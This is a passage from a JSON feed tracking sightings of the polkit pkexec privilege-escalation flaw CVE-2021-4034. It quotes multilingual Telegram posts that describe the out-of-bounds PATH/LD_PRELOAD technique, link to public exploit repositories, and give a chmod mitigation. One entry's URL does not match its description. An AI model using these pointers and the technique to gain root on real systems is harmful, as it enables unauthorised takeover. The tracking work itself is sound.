(CVE-2021-4034) has been discovered in the Polkit utility that could allow unprivileged attackers to gain root access to targeted Linux systems.\n\nDetails: https://thehackernews.com/2022/01/12-year-old-polkit-flaw-lets.html", "url": "https://t.me/thehackernews/1826"}, {"timestamp": "2022-01-26T07:47:03Z", "date_only": false, "value": "2022-01-26T07:47:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/secinfosex/42", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "676c2087-2912-4e68-b855-3490b9c0548f", "content": "\u2b55\ufe0f CVE-2021-4034: pwnkit: Local Privilege Escalation in polkit's pkexec\n\n\u0412\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (LPE) \u0434\u043e \u0440\u0443\u0442\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u043b\u0438\u043d\u0443\u043a\u0441 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445, \u0437\u0430 \u0441\u0447\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b pkexec \u0441 \u0441\u0443\u0438\u0434\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c.\n\n\u0411\u0430\u0433\u0430 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0430\u0436 \u0432 \u043c\u0430\u0435 2009 \u0433\u043e\u0434\u0430, \u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b Qalys \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442, \u0447\u0442\u043e \u0445\u043e\u0442\u044c \u044d\u0442\u043e \u0438 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u0441\u0442\u0440\u0430, \u043d\u0430\u0434\u0435\u0436\u043d\u0430, \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430 \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 PATH \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0438\u0434\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0433\u0440\u0430\u043d\u0438\u0446 envp[0], \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u0430\u043a\u0431\u044d \u0441\u0432\u043e\u044e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u0443\u044e LD_PRELOAD \u043f\u0440\u044f\u043c \u0432 \u0441\u0443\u0438\u0434\u043d\u0438\u043a.\n\u041f\u0440\u043e\u0441\u0442\u043e \u0434\u043e \u0436\u0443\u0442\u0438.\n\n\u042d\u0442\u043e \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 CVE-2021-4034 \u0432\u0435\u0441\u044c\u043c\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Linux.\n\n\ud83e\udddf\u200d \u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0443\u0436\u0435 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445.\n\n\u0411\u044b\u0441\u0442\u0440\u044b\u0439 \u0444\u0438\u043a\u0441:\n\ud83d\udd25chmod 0755 /usr/bin/pkexec\n \n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435:\nhttps://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e: \n\ud83d\udc49 https://www.openwall.com/lists/oss-security/2022/01/25/11", "url": "https://t.me/secinfosex/42"}, {"timestamp": "2022-01-26T07:54:32Z", "date_only": false, "value": "2022-01-26T07:54:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityIL/9552", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0183671a-f843-4ae7-991d-302e5bd55082", "content": "\u05d7\u05d1\u05e8\u05ea Qualys \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d7\u05d5\u05dc\u05e9\u05ea \u05d0\u05d1\u05d8\u05d7\u05ea \u05de\u05d9\u05d3\u05e2 \u05d1\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05db\u05dc \u05de\u05e9\u05ea\u05de\u05e9 \u05dc\u05e7\u05d1\u05dc \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea Root. \n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4, \u05e9\u05e7\u05d9\u05d1\u05dc\u05d4 \u05d0\u05ea \u05d4\u05e9\u05dd PwnKit (CVE-2021-4034) , \u05de\u05e0\u05e6\u05dc\u05ea \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05e8\u05db\u05d9\u05d1 \u05d4\u05e7\u05d9\u05d9\u05dd \u05d1\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05d1\u05e9\u05dd pkexec, \u05d4\u05d0\u05d7\u05e8\u05d0\u05d9 \u05e2\u05dc \u05ea\u05e7\u05e9\u05d5\u05e8\u05ea \u05d1\u05d9\u05df \u05e9\u05d9\u05e8\u05d5\u05ea\u05d9\u05dd \u05d1\u05e2\u05dc\u05d9 \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05e9\u05d5\u05e0\u05d5\u05ea, \u05d5\u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05db\u05dc \u05de\u05e9\u05ea\u05de\u05e9 \u05e8\u05d2\u05d9\u05dc \u05dc\u05e7\u05d1\u05dc \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05e0\u05d9\u05d4\u05d5\u05dc.\n\n\u05dc\u05d8\u05e2\u05e0\u05ea Qualys \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05d9\u05d9\u05de\u05ea \u05e2\u05d5\u05d3 \u05de-2009 \u05d5\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05e9\u05d5\u05e0\u05d5\u05ea \u05d7\u05e9\u05d5\u05e4\u05d5\u05ea \u05dc\u05d7\u05d5\u05dc\u05e9\u05d4 (Ubuntu, Debian, Fedora, CentOS \u05d5\u05e2\u05d5\u05d3).\n\n\u05d1\u05e9\u05dc\u05d1 \u05d6\u05d4 \u05d4\u05d7\u05d1\u05e8\u05d4 \u05dc\u05d0 \u05e4\u05d9\u05e8\u05e1\u05de\u05d4 \u05d0\u05ea \u05d4\u05d3\u05e8\u05da \u05d4\u05de\u05dc\u05d0\u05d4 \u05dc\u05e0\u05d9\u05e6\u05d5\u05dc \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d0\u05da \u05d4\u05d9\u05d0 \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05e4\u05e8\u05d8\u05d9\u05dd \u05d8\u05db\u05e0\u05d9\u05d9\u05dd \u05d5\u05db\u05df \u05de\u05e2\u05e7\u05e3 \u05d6\u05de\u05e0\u05d9 \u05e2\u05d3 \u05dc\u05ea\u05d9\u05e7\u05d5\u05df. \n\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1, \u05dc\u05de\u05e8\u05d5\u05ea \u05e9\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05dc\u05d4 \u05dc\u05e0\u05d9\u05e6\u05d5\u05dc \u05d4\u05d9\u05d0 \u05de\u05ea\u05d0\u05e4\u05e9\u05e8\u05ea \u05e8\u05e7 \u05dc\u05d0\u05d7\u05e8 \u05e9\u05d9\u05e9 \u05dc\u05de\u05e9\u05ea\u05de\u05e9 \u05d2\u05d9\u05e9\u05d4 \u05de\u05e7\u05d5\u05de\u05d9\u05ea \u05dc\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05d4\u05e4\u05e2\u05dc\u05d4 (Local).\n\n#\u05d7\u05d5\u05dc\u05e9\u05d4\n\nhttps://t.me/CyberSecurityIL/1629\n\nhttps://www.bleepingcomputer.com/news/security/linux-system-service-bug-gives-root-on-all-major-distros-exploit-released/", "url": "https://t.me/CyberSecurityIL/9552"}, {"timestamp": "2022-01-26T08:11:34Z", "date_only": false, "value": "2022-01-26T08:11:34.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/YAH_Channel/498", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2f4aab55-4660-497c-bf2e-4d0be821102b", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0441\u043f\u043b\u043e\u0438\u0442 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 LPE \u0432 Linux \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 polkit.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: https://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c\n\n\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e.", "url": "https://t.me/YAH_Channel/498"}, {"timestamp": "2022-01-26T08:26:27Z", "date_only": false, "value": "2022-01-26T08:26:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/564", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1750dae9-529e-4caf-be92-8f6e85056dd5", "content": "\u200bCVE-2021-4034\n\n\u041f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0441\u043f\u043b\u043e\u0438\u0442 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 LPE \u0432 Linux \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 polkit.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: \nhttps://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\nhttps://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\n\n@dnevnik_infosec", "url": "https://t.me/poxek/564"}, {"timestamp": "2022-01-26T09:13:04Z", "date_only": false, "value": "2022-01-26T09:13:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1396", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "168fa16c-03eb-4203-8a70-386b999373e7", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA python3 PoC for CVE-2021-4034 by Kim Schulz\nURL\uff1ahttps://github.com/kimusan/pkwner", "url": "https://t.me/GithubRedTeam/1396"}, {"timestamp": "2022-01-26T09:51:44Z", "date_only": false, "value": "2022-01-26T09:51:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1397", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a3c3a353-8af0-44e8-b2fc-6e4ffa2ecc20", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aJust a sh script file to CVE-2021-4034 \nURL\uff1ahttps://github.com/N1et/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1397"}, {"timestamp": "2022-01-26T10:26:10Z", "date_only": false, "value": "2022-01-26T10:26:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1398", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1364eb85-91f1-47cc-b98b-c8fa59b01849", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aDirty PoC for CVE-2021-4034 (Pwnkit)\nURL\uff1ahttps://github.com/Nero22k/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1398"}, {"timestamp": "2022-01-26T10:39:05Z", "date_only": false, "value": "2022-01-26T10:39:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1399", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d8fee561-3f02-420d-b9c3-6e1f851cad7f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA stupid poc for CVE-2021-4034\nURL\uff1ahttps://github.com/LukeGix/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1399"}, {"timestamp": "2022-01-26T11:00:42Z", "date_only": false, "value": "2022-01-26T11:00:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1400", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "7945b8e0-115d-4022-aa5c-6d47db29bd99", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 POC and Docker and Analysis write up\nURL\uff1ahttps://github.com/chenaotian/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1400"}, {"timestamp": "2022-01-26T11:03:35Z", "date_only": false, "value": "2022-01-26T11:03:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/tech_b0lt_Genona/2991", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "814ea365-ff67-4c0e-b082-083c578b64e8", "content": "PoC CVE-2021-4034\nhttps://github.com/berdav/CVE-2021-4034", "url": "https://t.me/tech_b0lt_Genona/2991"}, {"timestamp": "2022-01-26T11:22:24Z", "date_only": false, "value": "2022-01-26T11:22:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1401", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "37a0077f-edd6-4b16-b54b-1634dcd978f4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPseudopatch for CVE-2021-4034\nURL\uff1ahttps://github.com/moldabekov/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1401"}, {"timestamp": "2022-01-26T11:26:48Z", "date_only": false, "value": "2022-01-26T11:26:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1402", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8772d314-940b-4717-b09b-58ac689ac766", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPseudopatch for CVE-2021-4034\nURL\uff1ahttps://github.com/m96dg/CVE-2021-41773-exercise", "url": "https://t.me/GithubRedTeam/1402"}, {"timestamp": "2022-01-26T11:29:39Z", "date_only": false, "value": "2022-01-26T11:29:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_2/2022", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e2fefd96-d0c3-4a49-836c-56bdad521d6a", "url": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_2/2022"}, {"timestamp": "2022-01-26T12:40:55Z", "date_only": false, "value": "2022-01-26T12:40:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/573", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6a1cc935-1c96-4b52-86c8-de28e1bce080", "content": "\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 CVE-2021-4034 \u2014 github.com/berdav/CVE-2021-4034\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Debian \u0438 \u0447\u0430\u0441\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0439 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432. \u041d\u0435\u0434\u043e\u0447\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 polkit-pkexec, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c setuid \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0435\u0434\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438.\n\n\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0447\u0435\u0440\u0430 (25.01.2022), \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u043e\u0432 \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430.", "url": "https://t.me/poxek/573"}, {"timestamp": "2022-01-26T13:36:14Z", "date_only": false, "value": "2022-01-26T13:36:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1403", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "dea8bef5-e8a9-480d-853a-cb3f97afef02", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for the CVE-2021-4034 vulnerability, affecting polkit < 0.120.\nURL\uff1ahttps://github.com/c3l3si4n/pwnkit", "url": "https://t.me/GithubRedTeam/1403"}, {"timestamp": "2022-01-26T14:32:31Z", "date_only": false, "value": "2022-01-26T14:32:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1404", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6121bbfe-aa1b-45fb-aa76-e579f1fb8527", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSelf-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation\nURL\uff1ahttps://github.com/ly4k/PwnKit", "url": "https://t.me/GithubRedTeam/1404"}, {"timestamp": "2022-01-26T15:30:16Z", "date_only": false, "value": "2022-01-26T15:30:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/2558", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4b5d0a22-2f63-4744-ada2-d8380f9a02ac", "content": "\u0418 \u043e\u043f\u044f\u0442\u044c Linux \u0432 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0435.\n\nQualys \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 pkexec polkit, \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 SUID-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b CentOS, Debian, Fedora \u0438 Ubuntu \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\nPolicyKit \u0438\u043b\u0438 Polkit - \u044d\u0442\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Unix-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0449\u0435\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438.\u00a0Polkit pkexec \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-4034, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u00a0PwnKit, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 12 \u043b\u0435\u0442 \u0438 \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 pkexec \u0432 \u043c\u0430\u0435 2009 \u0433\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438 Qualys, \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0445\u043e\u0441\u0442\u0435, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443.\n\n\u0412\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f pkexec \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0432\u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u00ab\u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0443\u044e\u00bb \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0432 